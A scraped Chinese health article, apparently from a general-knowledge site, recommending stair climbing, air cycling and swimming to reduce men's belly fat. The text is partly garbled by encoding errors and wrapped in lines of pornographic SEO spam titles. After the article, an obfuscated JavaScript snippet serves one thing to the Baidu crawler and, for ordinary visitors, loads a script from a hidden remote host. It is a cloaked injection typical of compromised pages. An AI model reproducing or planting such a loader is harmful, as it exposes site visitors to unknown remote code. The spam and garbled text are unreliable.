久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

減腰部最有效的運(yùn)動(dòng)有哪些

2017-04-22 00:57:24  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在的人們由于工作上的要求總是有很多不可避免的應(yīng)酬,還有很多人比較沉迷于豐富的夜生活。長(zhǎng)時(shí)間下去勢(shì)必會(huì)造成身體的損傷,有很多男性朋

現(xiàn)在的人們由于工作上的要求總是有很多不可避免的應(yīng)酬,還有很多人比較沉迷于豐富的夜生活。長(zhǎng)時(shí)間下去勢(shì)必會(huì)造成身體的損傷,有很多男性朋友會(huì)出現(xiàn)比較嚴(yán)重的啤酒肚。要知道啤酒肚對(duì)我們來說是比較丑陋的,所以鍛煉一些有關(guān)減腰部的運(yùn)動(dòng)非常有必要。那么男人減腰部最有效的運(yùn)動(dòng)是什么呢?

男人減肚子最有效的運(yùn)動(dòng)

1、爬樓梯

爬樓梯的運(yùn)動(dòng)量比較大,對(duì)于減肥來說,比跑步更加的有效。在上樓的過程中,我們其實(shí)是要逆向地球引力運(yùn)動(dòng)的,而且需要全身都緊張起來,用腿部帶動(dòng)身體向上攀登,同時(shí)上半身也要配合用力才能完成,所以運(yùn)動(dòng)過后常常大汗淋漓,因?yàn)槿淼臒崃肯牡梅浅4蟆?/p>

2、空中腳踩單車

腿部在進(jìn)行動(dòng)作時(shí),要運(yùn)用到腰腹部的力量,動(dòng)作越到位,對(duì)腰腹部的鍛煉就越有力,是減肚子最有效的運(yùn)動(dòng)之一。要注意運(yùn)動(dòng)不要過量,最好在臨睡前在進(jìn)行這一動(dòng)作,效果會(huì)更好。

空中腳踏車運(yùn)動(dòng)做法:仰躺在床上或墊子上,然后雙腿抬起,保持上身貼地,然后雙腳屈膝,交替模擬踩單車的動(dòng)作,每次約30-50次。如果剛開始嘗試,可以在臀部下方墊一個(gè)枕頭作支撐。

3、游泳

游泳一個(gè)小時(shí)可以消耗476卡路里,相當(dāng)于兩個(gè)漢堡的熱量,是最佳的減肥方式。不過,有幾點(diǎn)需要注意哦。

游泳時(shí)全力以赴。保持心率在最大心率80%左右,為了保證這一標(biāo)準(zhǔn),每游一段時(shí)間,對(duì)著表數(shù)數(shù)脈搏在6秒內(nèi)跳多少次,踢水板、手槳、腳蹼、救生圈等水上玩具不僅有助于燃燒更多熱量,還能鍛煉四肢肌肉。

對(duì)很多男性朋友來說都有或多或少的腰部贅肉,有些是和經(jīng)常喝啤酒有關(guān),也有些是由于自己的生活不規(guī)律,缺乏鍛煉。總之無論是什么原因造成的腰部贅肉對(duì)我們來說都是比較影響美觀的,我們應(yīng)該找到適合的方法減肚子贅肉,小編介紹的方法相信總有適合你們的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 黄色小视频网 | 日韩中文字幕三区 | 日韩一区二区视频在线观看 | 国产一区av在线 | 青青草国产成人av片免费 | 成人国产免费视频 | 久久影院一区 | 国产精品视频一区二区三区不卡 | 日韩电影免费在线观看中文字幕 | 精品国产不卡一区二区三区 | 激情欧美日韩一区二区 | 久久污视频| 国产精品国产精品国产专区不片 | 国产视频精品久久 | h片在线免费观看 | a级片网站 | 一区免费在线观看 | 中文字幕一区二区三区四区五区 | 亚洲一区二区 | 国产精品成人国产乱一区 | 国产 日韩 欧美 制服 另类 | 成人国产在线视频 | 欧美一区二区三区在线观看 | 精品国产高清一区二区三区 | 欧美日韩高清 | 欧美亚洲一区二区三区 | 色综合久久久 | 99热在线免费观看 | 91精品蜜臀一区二区三区在线 | 久久av一区二区 | 亚洲日本精品一区二区三区 | 久久九九国产 | 99re视频在线播放 | 欧美成人精品 | 久久精品免费一区二区三区 | 欧美一区二区三区四区视频 | 黑人巨大精品欧美一区二区免费 | 6080夜射猫 | 久久久久免费精品视频 | 黄色一级毛片 | 久草免费在线视频 |